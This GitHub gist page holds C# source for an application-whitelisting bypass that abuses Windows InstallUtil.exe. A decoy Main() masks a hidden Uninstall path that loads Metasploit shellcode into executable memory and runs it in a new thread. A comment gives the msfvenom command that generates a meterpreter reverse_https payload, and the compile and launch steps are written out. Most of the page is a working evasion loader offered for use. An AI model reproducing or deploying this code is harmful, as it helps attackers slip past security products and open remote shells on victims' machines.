Skip to content

Instantly share code, notes, and snippets.

Created May 17, 2017 04:19
  • Star 4 You must be signed in to star a gist
  • Fork 14 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe Shellcode.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
The gist of this one is we can exhibit one behaviour if the application is launched via normal method, Main().
Yet, when the Assembly is launched via InstallUtil.exe, it is loaded via Reflection and circumvents many whitelist controls.
We believe the root issue here is:
The root issue here with Assembly.Load() is that at the point at which execute operations are detected
(CreateFileMapping->NtCreateSection), only read-only access to the section is requested, so it is not processed as an execute operation.
Later, execute access is requested in the file mapping (MapViewOfFile->NtMapViewOfSection),
which results in the image being mapped as EXECUTE_WRITECOPY and subsequently allows unchecked execute access.
The concern is this technique can circumvent many security products, so I wanted to make you aware and get any feedback.
Its not really an exploit, but just a creative way to launch an exe/assembly.
//root@infosec:~# msfvenom --payload windows/meterpreter/reverse_https LHOST= LPORT=443 -f csharp > pentestShellCode.txt
public class Program
public static void Main()
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
public class Sample : System.Configuration.Install.Installer
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
public class Shellcode
public static void Exec()
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[387] {
,[Snip]0x53,0xff,0xd5 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
private static extern bool CloseHandle(IntPtr handle);
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
private static extern IntPtr GetModuleHandle(
string moduleName
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
private static extern UInt32 LoadLibrary(
string lpFileName
private static extern UInt32 GetLastError();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment